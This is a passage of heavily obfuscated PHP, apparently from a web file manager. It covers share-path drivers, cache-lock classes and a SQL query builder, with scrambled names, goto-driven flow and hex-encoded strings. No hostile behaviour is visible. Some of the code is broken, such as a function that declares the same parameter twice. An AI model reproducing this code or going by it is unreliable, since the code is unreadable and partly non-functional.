$this->_fileOutImage($E, $cП); } public function fileOutImageServer($e׳, $EɉϷ = 250) { $this->_fileOutImage($e׳, $EɉϷ); } public function link($d, $B = '') { $fو = $this->model->fileInfoGet($d); return IO::link($fو[$_SERVER[ѽ][75]], $B); } protected function parse($A) { $E߇ =& $_SERVER[ѽ]; if (strstr($A, $E߇[8]) === !1) { return array($E߇[382] => intval($A), $E߇[75] => $E߇[33], $E߇[1115] => array()); } $cǐ = explode($E߇[8], trim($A, $E߇[8])); if (count($cǐ) < 2) { show_tips($A . $E߇[1119]); } return array($E߇[382] => intval($cǐ[0]), $E߇[75] => $cǐ[1], $E߇[1115] => array_slice($cǐ, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($FႭ) { $this->pathParse = $FႭ; $this->model = Model($_SERVER[ѽ][1114]); } public function getPathOuter($A淪) { $B =& $_SERVER[ѽ]; if (!$A淪) { return $A淪; } $eɂ = $this->parse($A淪); return trim(KodIO::makeShare($this->pathParse[$B[364]], $eɂ[$B[364]]), $B[8]); } protected function infoParse($FϏԵ, $f쟑ͪ = false, $a͡ = false) { $D =& $_SERVER[ѽ]; $AьɎ = $this->pathParse[$D[364]]; $b㌓ = trim($this->pathParse[$D[1015]], $D[8]); return Action($D[1120])->sharePathInfo($AьɎ, $b㌓); } public function infoFull($aض) { $f =& $_SERVER[ѽ]; $BŰ = explode($f[8], trim($aض, $f[8])); if (count($BŰ) > 1) { $C԰ = implode($f[8], array_splice($BŰ, 1)); $bľ = $this->model->pathInfoByPath($BŰ[0], $C԰); if (!$bľ) { return !1; } $this->pathParse[$f[1015]] = $bľ[$f[366]]; } return $this->infoParse($aض); } public function listAll($C걢) { goto EƈȈ; Cč: foreach ($bܪ as &$FɍĎ) { check_abort(); $FɍĎ[$F[388]] = $e->_shareItemeParse($FɍĎ[$F[388]], $bߊ); } return $bܪ; goto b; EƈȈ: $F =& $_SERVER[ѽ]; $F兂 = IO::info($this->pathParse[$F[75]]); if (!$F兂) { return array(); } goto CÍ; CÍ: $bܪ = $this->model->listAll($C걢); $bߊ = Model($F[532])->getInfo($F兂[$F[437]]); $e = Action($F[1120]); goto Cč; b: } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($cআ) { $this->pathParse = $cআ; $this->model = Model($_SERVER[ѽ][1114]); } protected function infoParse($F, $F = false, $Dɑ = false) { $E˽ =& $_SERVER[ѽ]; return Action($E˽[1021])->sharePathInfo($this->pathParse[$E˽[75]], !0); } public function listPath($Cɩʶ, $b˦ = false) { $EƆĒ =& $_SERVER[ѽ]; $a = parent::listPath($Cɩʶ, $b˦); foreach ($a as $e۾خ => $c) { if (!in_array($e۾خ, array($EƆĒ[73], $EƆĒ[74]))) { continue; } foreach ($c as $f࿙ => $BȂٓ) { $a[$e۾خ][$f࿙] = Action($EƆĒ[1021])->shareItemInfo($BȂٓ); } } return $a; } public function listAll($a) { $B߃ =& $_SERVER[ѽ]; $B = IO::info($this->pathParse[$B߃[75]]); if (!$B) { return array(); } $e = $this->model->listAll($a); foreach ($e as &$dۘ) { $dۘ[$B߃[388]] = Action($B߃[1021])->shareItemInfo($dۘ[$B߃[388]]); } return $e; } } goto Dܤ; b: class CacheLockFile { private static $cachePath; private static $caches; public function __construct() { $C̪ =& $_SERVER[ѽ]; $a՝Ɖ = $GLOBALS[$C̪[6]][$C̪[334]]; self::$cachePath = $a՝Ɖ[$C̪[164]][$C̪[75]]; @mkdir(self::$cachePath, 511, !0); } public function lock($A᮪ϱ, $aܥԓ = 0) { goto f; f: $B䜇ڈ =& $_SERVER[ѽ]; $dݗ = microtime(!0); $cиڵ = $dݗ + $aܥԓ + 0.0001; goto Eԅ; e我: $this->unlock($A᮪ϱ); return !1; goto Aݺ; Eԅ: $b = rtrim(self::$cachePath, $B䜇ڈ[8]) . $B䜇ڈ[782] . md5($A᮪ϱ) . $B䜇ڈ[783]; if (file_exists($b) && filemtime($b) && filemtime($b) < time() - 10) { @unlink($b); } do { if (file_exists($b)) { cacheLockWait(); continue; } $DȻʄ = fopen($b, $B䜇ڈ[784]); if (!$DȻʄ) { return !1; } $e䣄 = flock($DȻʄ, LOCK_EX | LOCK_NB); self::$caches[$A᮪ϱ] = array($B䜇ڈ[785] => $DȻʄ, $B䜇ڈ[164] => $b); fwrite($DȻʄ, $cиڵ); clearstatcache(); if ($DȻʄ && $e䣄) { return !0; } cacheLockWait(); } while (microtime(!0) < $cиڵ); goto e我; Aݺ: } public function lockGet($b܏) { $b =& $_SERVER[ѽ]; $E֚ = rtrim(self::$cachePath, $b[8]) . $b[782] . md5($b܏) . $b[783]; return file_exists($E֚); } public function unlock($aՆ̖) { goto d²; d²: $d =& $_SERVER[ѽ]; $DމëΈ = self::$caches[$aՆ̖]; if (!$DމëΈ) { return; } goto Aϭ; Aϭ: @flock($DމëΈ[$d[785]], LOCK_UN); @fclose($DމëΈ[$d[785]]); @unlink($DމëΈ[$d[164]]); goto cȭ; cȭ: unset(self::$caches[$aՆ̖]); goto C񏝒̮; C񏝒̮: } } class CacheLockRedis { public function lock($cجޏ, $dȧ = 10) { $CҸصŊ = Cache::init(); $a = microtime(!0) + $dȧ; while (microtime(!0) < $a) { $DԵ = $CҸصŊ->get($cجޏ); if (!$DԵ) { $bʧ = $CҸصŊ->setLock($cجޏ, $a, $dȧ); if ($bʧ) { return !0; } } else { if ($DԵ < microtime(!0)) { $CҸصŊ->set($cجޏ, $a, $a); if ($CҸصŊ->get($cجޏ) === $DԵ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($cސ) { return Cache::init()->get($cސ); } public function unlock($d՘) { return Cache::init()->remove($d՘); } } class CacheLockMemcached { public function lock($ċΟ, $Cſ = 0) { $C՟ = Cache::init(); $aǛ = microtime(!0) + $Cſ; while (microtime(!0) < $aǛ) { $Dί = $C՟->get($ċΟ); if (!$Dί || $Dί < microtime(!0)) { $eԠ = $C՟->handle->add($ċΟ, $aǛ, $Cſ); if ($eԠ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($f񾇫) { return Cache::init()->get($f񾇫); } public function unlock($DɎ) { return Cache::init()->remove($DɎ); } } goto DҊ堷; FϦڇ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $exp = array("\145\x71" => "\75", "\x6e\x65\x71" => "\x3c\76", "\147\164" => "\76", "\145\147\164" => "\x3e\x3d", "\154\164" => "\74", "\145\154\x74" => "\x3c\75", "\x6e\157\x74\x6c\x69\x6b\145" => "\116\x4f\124\40\114\x49\x4b\105", "\154\x69\x6b\x65" => "\114\111\113\105", "\151\x6e" => "\111\116", "\x6e\x6f\164\x69\x6e" => "\116\117\124\x20\111\x4e", "\x6e\157\164\x20\x69\156" => "\x4e\x4f\124\40\x49\116", "\142\x65\x74\167\x65\x65\x6e" => "\x42\105\124\127\105\105\116", "\x6e\x6f\x74\142\x65\x74\167\x65\145\x6e" => "\x4e\117\x54\x20\x42\105\124\127\105\x45\x4e", "\156\x6f\x74\x20\x62\145\164\167\145\145\x6e" => "\x4e\117\x54\x20\102\105\x54\x57\105\105\116"); protected $selectSql = "\123\x45\x4c\x45\103\x54\45\x44\x49\123\124\x49\x4e\103\x54\45\x20\45\x46\x49\105\x4c\104\45\40\106\122\117\115\x20\45\124\x41\x42\x4c\105\45\x25\112\x4f\111\116\45\x25\127\110\x45\122\x45\45\45\107\122\x4f\x55\120\x25\45\110\101\x56\111\x4e\x47\x25\x25\x4f\122\x44\x45\122\45\x25\x4c\x49\115\111\124\45\40\45\125\116\111\x4f\x4e\45\x25\103\x4f\115\115\105\x4e\124\45"; protected $bind = array(); public static function getInstance() { $c¬ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ѽ][881], $c¬); } public function factory($F = '') { goto aݤĴ; aݤĴ: $d =& $_SERVER[ѽ]; $F = $this->parseConfig($F); if (empty($F[$d[882]])) { think_exception(think_lang($d[883])); } goto f甥; f甥: $this->dbType = ucwords(strtolower($F[$d[882]])); $A = $d[884] . $this->dbType; if (class_exists($A)) { $c¨ = new $A($F); if ($d[734] != strtolower($F[$d[882]])) { $c¨->dbType = strtoupper($this->dbType); } else { $c¨->dbType = $this->_getDsnType($F[$d[833]]); } } else { think_exception(think_lang($d[885]) . $d[886] . $A); } goto bϻ; bϻ: return $c¨; goto aʦ; aʦ: } public function __call($C׃, $f쮕ɾ) { if (method_exists($this, $C׃)) { return call_user_func_array(array($this, $C׃), $f쮕ɾ); } } protected function _getDsnType($bҮڄ) { $Cݲ = explode($_SERVER[ѽ][4], $bҮڄ); $Eۛ = strtoupper(trim($Cݲ[0])); return $Eۛ; } private function parseConfig($A콍Ј = '') { $c =& $_SERVER[ѽ]; if (!empty($A콍Ј) && is_string($A콍Ј)) { $A콍Ј = $this->parseDSN($A콍Ј); } elseif (is_array($A콍Ј)) { $A콍Ј = array_change_key_case($A콍Ј); $A콍Ј = array($c[882] => $A콍Ј[$c[733]], $c[806] => $A콍Ј[$c[887]], $c[807] => $A콍Ј[$c[888]], $c[804] => $A콍Ј[$c[889]], $c[805] => $A콍Ј[$c[890]], $c[17] => $A콍Ј[$c[891]], $c[833] => $A콍Ј[$c[735]], $c[13] => isset($A콍Ј[$c[892]]) ? $A콍Ј[$c[892]] : array()); } elseif (empty($A콍Ј)) { if (think_config($c[893]) && $c[734] != strtolower(think_config($c[894]))) { $A콍Ј = $this->parseDSN(think_config($c[893])); } else { $A콍Ј = array($c[882] => think_config($c[894]), $c[806] => think_config($c[895]), $c[807] => think_config($c[896]), $c[804] => think_config($c[897]), $c[805] => think_config($c[898]), $c[17] => think_config($c[231]), $c[833] => think_config($c[893]), $c[13] => think_config($c[899])); } } return $A콍Ј; } protected function initConnect($dۦ = true) { if (1 == think_config($_SERVER[ѽ][18])) { $this->_linkID = $this->multiConnect($dۦ); } else { if (!$this->connected) { $this->_linkID = $this->connect(); } } } protected function multiConnect($Dғԥ = false) { $F =& $_SERVER[ѽ]; static $Fĭ = array(); if (empty($Fĭ)) { foreach ($this->config as $b򣎸 => $DDž) { $Fĭ[$b򣎸] = explode($F[47], $DDž); } } if (think_config($F[900])) { if ($Dғԥ) { $eż = floor(mt_rand(0, think_config($F[901]) - 1)); } else { if (is_numeric(think_config($F[902]))) { $eż = think_config($F[902]); } else { $eż = floor(mt_rand(think_config($F[901]), count($Fĭ[$F[804]]) - 1)); } } } else { $eż = floor(mt_rand(0, count($Fĭ[$F[804]]) - 1)); } $Eć = array($F[806] => isset($Fĭ[$F[806]][$eż]) ? $Fĭ[$F[806]][$eż] : $Fĭ[$F[806]][0], $F[807] => isset($Fĭ[$F[807]][$eż]) ? $Fĭ[$F[807]][$eż] : $Fĭ[$F[807]][0], $F[804] => isset($Fĭ[$F[804]][$eż]) ? $Fĭ[$F[804]][$eż] : $Fĭ[$F[804]][0], $F[805] => isset($Fĭ[$F[805]][$eż]) ? $Fĭ[$F[805]][$eż] : $Fĭ[$F[805]][0], $F[17] => isset($Fĭ[$F[17]][$eż]) ? $Fĭ[$F[17]][$eż] : $Fĭ[$F[17]][0], $F[833] => isset($Fĭ[$F[833]][$eż]) ? $Fĭ[$F[833]][$eż] : $Fĭ[$F[833]][0], $F[13] => isset($Fĭ[$F[13]][$eż]) ? $Fĭ[$F[13]][$eż] : $Fĭ[$F[13]][0]); return $this->connect($Eć, $eż); } public function parseDSN($e̘) { $A =& $_SERVER[ѽ]; if (empty($e̘)) { return !1; } $A񇪐 = parse_url($e̘); if ($A񇪐[$A[165]]) { $f䪣 = array($A[882] => $A񇪐[$A[165]], $A[806] => isset($A񇪐[$A[531]]) ? $A񇪐[$A[531]] : $A[33], $A[807] => isset($A񇪐[$A[903]]) ? $A񇪐[$A[903]] : $A[33], $A[804] => isset($A񇪐[$A[166]]) ? $A񇪐[$A[166]] : $A[33], $A[805] => isset($A񇪐[$A[167]]) ? $A񇪐[$A[167]] : $A[33], $A[17] => isset($A񇪐[$A[75]]) ? substr($A񇪐[$A[75]], 1) : $A[33]); } else { preg_match($A[904], trim($e̘), $dɅ); $f䪣 = array($A[882] => $dɅ[1], $A[806] => $dɅ[2], $A[807] => $dɅ[3], $A[804] => $dɅ[4], $A[805] => $dɅ[5], $A[17] => $dɅ[6]); } $f䪣[$A[833]] = $A[33]; return $f䪣; } protected function debug() { $Eߘ =& $_SERVER[ѽ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $Eߘ[905]; if (think_config($Eߘ[906])) { think_status($Eߘ[907]); think_trace($this->queryStr . $Eߘ[908] . think_status($Eߘ[20], $Eߘ[907], 6) . $Eߘ[909], $Eߘ[33], $Eߘ[910]); } } protected function parseLock($f՗̮ = false) { $Dγ =& $_SERVER[ѽ]; if (!$f՗̮) { return $Dγ[33]; } if ($Dγ[835] == $this->dbType) { return $Dγ[911]; } return $Dγ[912]; } protected function parseSet($BԶͺ) { $aﱾӝ =& $_SERVER[ѽ]; foreach ($BԶͺ as $D廃 => $e) { if (is_array($e) && $aﱾӝ[282] == $e[0]) { $F[] = $this->parseKey($D廃) . $aﱾӝ[913] . $e[1]; } elseif (is_scalar($e) || is_null($e)) { $F[] = $this->parseKey($D廃) . $aﱾӝ[913] . $this->parseValue($e); } } return $aﱾӝ[914] . implode($aﱾӝ[47], $F); } protected function bindParam($dˍ, $Eų) { $this->bind[$_SERVER[ѽ][4] . $dˍ] = $Eų; } protected function parseBind($bł) { $bł = array_merge($this->bind, $bł); $this->bind = array(); return $bł; } function parseKey(&$aВߝ, $d = true) { if ($d) { $aВߝ = $this->parseKeyCheck($aВߝ); } return $aВߝ; } function parseKeyCheck($cܯŻ) { $dׄ =& $_SERVER[ѽ]; $cܯŻ = trim($cܯŻ); if (!preg_match($dׄ[915], $cܯŻ)) { think_exception($dׄ[916] . $cܯŻ); } return $cܯŻ; } protected function parseValue($F׍) { $C =& $_SERVER[ѽ]; if (is_string($F׍)) { $F׍ = $C[874] . $this->escapeString($F׍) . $C[874]; } elseif (isset($F׍[0]) && is_string($F׍[0]) && strtolower($F׍[0]) == $C[282]) { $F׍ = $this->escapeString($F׍[1]); } elseif (is_array($F׍)) { $F׍ = array_map(array($this, $C[875]), $F׍); } elseif (is_bool($F׍)) { $F׍ = $F׍ ? $C[83] : $C[464]; } elseif (is_null($F׍)) { $F׍ = $C[101]; } return $F׍; } protected function parseField($B) { $a͢ =& $_SERVER[ѽ]; if (is_string($B) && strpos($B, $a͢[47])) { $B = explode($a͢[47], $B); } if (is_array($B)) { $D = array(); foreach ($B as $A => $FØꇇ) { if (!is_numeric($A)) { $D[] = $this->parseKey($A) . $a͢[917] . $this->parseKey($FØꇇ); } else { $D[] = $this->parseKey($FØꇇ); } } $C = implode($a͢[47], $D); } elseif (is_string($B) && !empty($B)) { $C = $B; } else { $C = $a͢[173]; } return $C; } protected function parseTable($dݎ) { $E =& $_SERVER[ѽ]; if (is_array($dݎ)) { $cㆬ = array(); foreach ($dݎ as $B => $fСϕ) { if (!is_numeric($B)) { $cㆬ[] = $this->parseKey($B) . $E[50] . $this->parseKey($fСϕ); } else { $cㆬ[] = $this->parseKey($B); } } $dݎ = $cㆬ; } elseif (is_string($dݎ)) { if (strstr($dݎ, $E[50])) { return $dݎ; } $dݎ = explode($E[47], $dݎ); array_walk($dݎ, array($this, $E[823])); } return $E[918] . trim(implode($E[919], $dݎ), $E[829]) . $E[918]; } protected function parseWhere($Bȯ) { $b =& $_SERVER[ѽ]; $Dº = $b[33]; if (is_string($Bȯ)) { $Dº = $Bȯ; } else { $Eߋ = isset($Bȯ[$b[920]]) ? strtoupper($Bȯ[$b[920]]) : $b[33]; if (in_array($Eߋ, array($b[921], $b[922], $b[923]))) { $Eߋ = $b[50] . $Eߋ . $b[50]; unset($Bȯ[$b[920]]); } else { $Eߋ = $b[924]; } foreach ($Bȯ as $Bӧ => $bڴ) { $Dº .= $b[262]; if (is_numeric($Bӧ)) { $Bӧ = $b[925]; } if (0 === strpos($Bӧ, $b[70])) { $Dº .= $this->parseThinkWhere($Bӧ, $bڴ); } else { if (!preg_match($b[926], trim($Bӧ))) { think_exception(think_lang($b[927]) . $b[4] . $Bӧ); } $a = is_array($bڴ) && isset($bڴ[$b[928]]); $Bӧ = trim($Bӧ); if (strpos($Bӧ, $b[268])) { $aŖԄ = explode($b[268], $Bӧ); $FϺ = array(); foreach ($aŖԄ as $f => $c) { $EК = $a ? $bڴ[$f] : $bڴ; $FϺ[] = $b[245] . $this->parseWhereItem($this->parseKey($c), $EК) . $b[822]; } $Dº .= implode($b[929], $FϺ); } elseif (strpos($Bӧ, $b[269])) { $aŖԄ = explode($b[269], $Bӧ); $FϺ = array(); foreach ($aŖԄ as $f => $c) { $EК = $a ? $bڴ[$f] : $bڴ; $FϺ[] = $b[245] . $this->parseWhereItem($this->parseKey($c), $EК) . $b[822]; } $Dº .= implode($b[924], $FϺ); } else { $Dº .= $this->parseWhereItem($this->parseKey($Bӧ), $bڴ); } } $Dº .= $b[263] . $Eߋ; } $Dº = substr($Dº, 0, -strlen($Eߋ)); } return empty($Dº) ? $b[33] : $b[930] . $Dº; } protected function parseWhereItem($E, $c) { $E꾪 =& $_SERVER[ѽ]; $B = $E꾪[33]; if (is_array($c)) { if (is_string($c[0])) { $b͋ = strtolower($c[0]); if (in_array($c[0], array($E꾪[913], $E꾪[931], $E꾪[932], $E꾪[933], $E꾪[934], $E꾪[935]))) { $B .= $E . $E꾪[50] . $c[0] . $E꾪[50] . $this->parseValue($c[1]); } elseif (preg_match($E꾪[936], $c[0])) { $B .= $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[50] . $this->parseValue($c[1]); } elseif (preg_match($E꾪[937], $c[0])) { if (is_array($c[1])) { $F = isset($c[2]) ? strtoupper($c[2]) : $E꾪[922]; if (in_array($F, array($E꾪[921], $E꾪[922], $E꾪[923]))) { $f떻 = array(); foreach ($c[1] as $E) { $f떻[] = $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[50] . $this->parseValue($E); } $B .= $E꾪[245] . implode($E꾪[50] . $F . $E꾪[50], $f떻) . $E꾪[822]; } } else { $B .= $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[50] . $this->parseValue($c[1]); } } elseif ($E꾪[282] == $b͋) { $B .= $E꾪[820] . $E . $E꾪[50] . $c[1] . $E꾪[938]; } elseif (preg_match($E꾪[939], $c[0])) { if (isset($c[2]) && $E꾪[282] == $c[2]) { $B .= $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[50] . $c[1]; } else { if (is_string($c[1])) { $c[1] = explode($E꾪[47], $c[1]); } $e豹 = implode($E꾪[47], $this->parseValue($c[1])); $B .= $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[820] . $e豹 . $E꾪[822]; } } elseif (preg_match($E꾪[940], $c[0])) { $eԪސ = is_string($c[1]) ? explode($E꾪[47], $c[1]) : $c[1]; $B .= $E꾪[820] . $E . $E꾪[50] . $this->exp[$b͋] . $E꾪[50] . $this->parseValue($eԪސ[0]) . $E꾪[924] . $this->parseValue($eԪސ[1]) . $E꾪[263]; } else { think_exception(think_lang($E꾪[927]) . $E꾪[4] . $c[0]); } } else { $a = count($c); $bβϳ = isset($c[$a - 1]) ? strtoupper($c[$a - 1]) : $E꾪[33]; if (in_array($bβϳ, array($E꾪[921], $E꾪[922], $E꾪[923]))) { $a = $a - 1; } else { $bβϳ = $E꾪[921]; } for ($B = 0; $B < $a; $B++) { $eԪސ = is_array($c[$B]) ? $c[$B][1] : $c[$B]; if ($E꾪[282] == strtolower($c[$B][0])) { $B .= $E꾪[245] . $E . $E꾪[50] . $eԪސ . $E꾪[938] . $bβϳ . $E꾪[50]; } else { $dĹ = is_array($c[$B]) ? $this->exp[strtolower($c[$B][0])] : $E꾪[913]; if (!$dĹ && is_array($c[$B]) && in_array($c[$B][0], array($E꾪[913], $E꾪[931], $E꾪[932], $E꾪[933], $E꾪[934], $E꾪[935]))) { $dĹ = $c[$B][0]; } $B .= $E꾪[245] . $E . $E꾪[50] . $dĹ . $E꾪[50] . $this->parseValue($eԪސ) . $E꾪[938] . $bβϳ . $E꾪[50]; } } $B = substr($B, 0, -4); } } else { $B .= $E . $E꾪[941] . $this->parseValue($c); } return $B; } protected function parseThinkWhere($F, $b޴) { $CƅΖ =& $_SERVER[ѽ]; $Bœ = $CƅΖ[33]; switch ($F) { case $CƅΖ[336]: $Bœ = $b޴; break; case $CƅΖ[925]: $Bœ = is_string($b޴) ? $b޴ : substr($this->parseWhere($b޴), 6); break; case $CƅΖ[942]: parse_str($b޴, $c⥓); if (isset($c⥓[$CƅΖ[920]])) { $Bᝊ݆ = $CƅΖ[50] . strtoupper($c⥓[$CƅΖ[920]]) . $CƅΖ[50]; unset($c⥓[$CƅΖ[920]]); } else { $Bᝊ݆ = $CƅΖ[924]; } $eݮ = array(); foreach ($c⥓ as $fڼ => $a߸襓) { $eݮ[] = $this->parseKey($fڼ) . $CƅΖ[941] . $this->parseValue($a߸襓); } $Bœ = implode($Bᝊ݆, $eݮ); break; } return $Bœ; } protected function parseLimit($eڪ) { $Cؚ =& $_SERVER[ѽ]; return !empty($eڪ) ? $Cؚ[48] . $eڪ . $Cؚ[50] : $Cؚ[33]; } protected function parseJoin($bꃥ) { $fᨍ =& $_SERVER[ѽ]; $C = $fᨍ[33]; if (!empty($bꃥ)) { if (is_array($bꃥ)) { foreach ($bꃥ as $eڻ => $dڪ) { if (!1 !== stripos($dڪ, $fᨍ[943])) { $C .= $fᨍ[50] . $dڪ; } else { $C .= $fᨍ[944] . $dڪ; } } } else { $C .= $fᨍ[944] . $bꃥ; } } $C = preg_replace($fᨍ[945], think_config($fᨍ[847]) . $fᨍ[946], $C); return $C; } protected function parseOrder($Dމ) { $Cδɢ =& $_SERVER[ѽ]; if (is_array($Dމ)) { $a溜 = array(); foreach ($Dމ as $C => $c񄄾) { if (is_numeric($C)) { $a溜[] = $this->parseKey($c񄄾); } else { $c񄄾 = in_array(strtoupper(trim($c񄄾)), array($Cδɢ[947], $Cδɢ[948])) ? $Cδɢ[50] . $c񄄾 : $Cδɢ[33]; if (preg_match($Cδɢ[949], $C)) { $a溜[] = $this->parseKey($C) . $c񄄾; } else { think_exception($Cδɢ[950] . $C); } } } $Dމ = implode($Cδɢ[47], $a溜); } return !empty($Dމ) ? $Cδɢ[951] . $Dމ : $Cδɢ[33]; } protected function parseGroup($C) { $CŽ鐙 =& $_SERVER[ѽ]; return !empty($C) ? $CŽ鐙[952] . $C : $CŽ鐙[33]; } protected function parseHaving($f֤) { $Aڈ =& $_SERVER[ѽ]; return !empty($f֤) ? $Aڈ[953] . $f֤ : $Aڈ[33]; } protected function parseComment($F֪) { $d =& $_SERVER[ѽ]; return !empty($F֪) ? $d[954] . $F֪ . $d[955] : $d[33]; } protected function parseDistinct($f) { $Dޙܐ =& $_SERVER[ѽ]; return !empty($f) ? $Dޙܐ[956] : $Dޙܐ[33]; } protected function parseUnion($A̖) { $B앇 =& $_SERVER[ѽ]; if (empty($A̖)) { return $B앇[33]; } if (isset($A̖[$B앇[333]])) { $C˸ = $B앇[957]; unset($A̖[$B앇[333]]); } else { $C˸ = $B앇[958]; } foreach ($A̖ as $Eǔ) { $fŒ[] = $C˸ . (is_array($Eǔ) ? $this->buildSelectSql($Eǔ) : $Eǔ); } return implode($B앇[50], $fŒ); } public function insert($B, $F = array(), $Dߟǭ = false) { goto e̵; e̵: $eㅩ =& $_SERVER[ѽ]; $AĴ = $C = array(); $this->model = $F[$eㅩ[266]]; goto c˲; bŰҡ: $aɐĤ .= $this->parseComment(!empty($F[$eㅩ[338]]) ? $F[$eㅩ[338]] : $eㅩ[33]); return $this->execute($aɐĤ, $this->parseBind(!empty($F[$eㅩ[270]]) ? $F[$eㅩ[270]] : array())); goto Bͤ; c˲: foreach ($B as $AƯ̓ => $A) { if (is_array($A) && $eㅩ[282] == $A[0]) { $C[] = $this->parseKey($AƯ̓); $AĴ[] = $A[1]; } elseif (is_scalar($A) || is_null($A)) { $C[] = $this->parseKey($AƯ̓); $AĴ[] = $this->parseValue($A); } } $aɐĤ = ($Dߟǭ ? $eㅩ[824] : $eㅩ[825]) . $eㅩ[826] . $this->parseTable($F[$eㅩ[264]]) . $eㅩ[820] . implode($eㅩ[47], $C) . $eㅩ[821] . implode($eㅩ[47], $AĴ) . $eㅩ[822]; $aɐĤ .= $this->parseLock(isset($F[$eㅩ[780]]) ? $F[$eㅩ[780]] : !1); goto bŰҡ; Bͤ: } public function selectInsert($e, $c, $A֓ = array()) { goto Bޕ➕; aߗ: return $this->execute($e, $this->parseBind(!empty($A֓[$F[270]]) ? $A֓[$F[270]] : array())); goto bչĥ; Bޕ➕: $F =& $_SERVER[ѽ]; $this->model = $A֓[$F[266]]; if (is_string($e)) { $e = explode($F[47], $e); } goto DŇ馠; DŇ馠: array_walk($e, array($this, $F[823])); $e = $F[959] . $this->parseTable($c) . $F[820] . implode($F[47], $e) . $F[938]; $e .= $this->buildSelectSql($A֓); goto aߗ; bչĥ: } public function update($Fۨԓ, $b) { $Eټ =& $_SERVER[ѽ]; $this->model = $b[$Eټ[266]]; $cݩ = $Eټ[960] . $this->parseTable($b[$Eټ[264]]) . $this->parseSet($Fۨԓ) . $this->parseWhere(!empty($b[$Eټ[260]]) ? $b[$Eټ[260]] : $Eټ[33]) . $this->parseOrder(!empty($b[$Eټ[347]]) ? $b[$Eټ[347]] : $Eټ[33]) . $this->parseLimit(!empty($b[$Eټ[277]]) ? $b[$Eټ[277]] : $Eټ[33]) . $this->parseLock(isset($b[$Eټ[780]]) ? $b[$Eټ[780]] : !1) . $this->parseComment(!empty($b[$Eټ[338]]) ? $b[$Eټ[338]] : $Eټ[33]); return $this->execute($cݩ, $this->parseBind(!empty($b[$Eټ[270]]) ? $b[$Eټ[270]] : array())); } public function delete($DѾڑ = array()) { $Cױ =& $_SERVER[ѽ]; $this->model = $DѾڑ[$Cױ[266]]; $a = $Cױ[961] . $this->parseTable($DѾڑ[$Cױ[264]]) . $this->parseWhere(!empty($DѾڑ[$Cױ[260]]) ? $DѾڑ[$Cױ[260]] : $Cױ[33]) . $this->parseOrder(!empty($DѾڑ[$Cױ[347]]) ? $DѾڑ[$Cױ[347]] : $Cױ[33]) . $this->parseLimit(!empty($DѾڑ[$Cױ[277]]) ? $DѾڑ[$Cױ[277]] : $Cױ[33]) . $this->parseLock(isset($DѾڑ[$Cױ[780]]) ? $DѾڑ[$Cױ[780]] : !1) . $this->parseComment(!empty($DѾڑ[$Cױ[338]]) ? $DѾڑ[$Cױ[338]] : $Cױ[33]); return $this->execute($a, $this->parseBind(!empty($DѾڑ[$Cױ[270]]) ? $DѾڑ[$Cױ[270]] : array())); } public function select($C؆ = array()) { goto a۬; C: $F۲ = isset($C؆[$E冠[334]]) ? $C؆[$E冠[334]] : !1; if ($F۲) { $Dꠇ = is_string($F۲[$E冠[89]]) ? $F۲[$E冠[89]] : $E冠[962] . md5($D); $DŇ = think_cache($Dꠇ, $E冠[33], $F۲); if (!1 !== $DŇ) { return $DŇ; } } $D = $this->query($D, $this->parseBind(!empty($C؆[$E冠[270]]) ? $C؆[$E冠[270]] : array())); goto F侕; a۬: $E冠 =& $_SERVER[ѽ]; $this->model = $C؆[$E冠[266]]; $D = $this->buildSelectSql($C؆); goto C; F侕: if ($F۲ && !1 !== $D) { think_cache($Dꠇ, $D, $F۲); } return $D; goto Cퟺں; Cퟺں: } public function buildSelectSql($e҃Ƚ = array()) { goto b޽; b޽: $bˌ =& $_SERVER[ѽ]; if (isset($e҃Ƚ[$bˌ[337]])) { if (strpos($e҃Ƚ[$bˌ[337]], $bˌ[47])) { list($f޴, $BŪ) = explode($bˌ[47], $e҃Ƚ[$bˌ[337]]); } else { $f޴ = $e҃Ƚ[$bˌ[337]]; } $f޴ = $f޴ ? $f޴ : 1; $BŪ = isset($BŪ) ? $BŪ : (is_numeric($e҃Ƚ[$bˌ[277]]) ? $e҃Ƚ[$bˌ[277]] : 20); $dߥ = $BŪ * ((int) $f޴ - 1); $e҃Ƚ[$bˌ[277]] = $dߥ . $bˌ[47] . $BŪ; } if (think_config($bˌ[963])) { $bƵ = $bˌ[964] . md5(serialize($e҃Ƚ)); $cӹө = think_cache($bƵ); if ($cӹө) { return $cӹө; } } goto b; b: $Cʓ = $this->parseSql($this->selectSql, $e҃Ƚ); $Cʓ .= $this->parseLock(isset($e҃Ƚ[$bˌ[780]]) ? $e҃Ƚ[$bˌ[780]] : !1); if (isset($bƵ)) { think_cache($bƵ, $Cʓ); } goto eů; eů: return $Cʓ; goto d߯ӥ; d߯ӥ: } public function parseSql($C顂, $a = array()) { $Bɮ =& $_SERVER[ѽ]; $C顂 = str_replace(array($Bɮ[965], $Bɮ[966], $Bɮ[967], $Bɮ[968], $Bɮ[969], $Bɮ[970], $Bɮ[971], $Bɮ[972], $Bɮ[973], $Bɮ[974], $Bɮ[975]), array($this->parseTable("{$a[$Bɮ[264]]}"), $this->parseDistinct(isset($a[$Bɮ[976]]) ? $a[$Bɮ[976]] : !1), $this->parseField(!empty($a[$Bɮ[258]]) ? $a[$Bɮ[258]] : $Bɮ[173]), $this->parseJoin(!empty($a[$Bɮ[267]]) ? $a[$Bɮ[267]] : $Bɮ[33]), $this->parseWhere(!empty($a[$Bɮ[260]]) ? $a[$Bɮ[260]] : $Bɮ[33]), $this->parseGroup(!empty($a[$Bɮ[977]]) ? $a[$Bɮ[977]] : $Bɮ[33]), 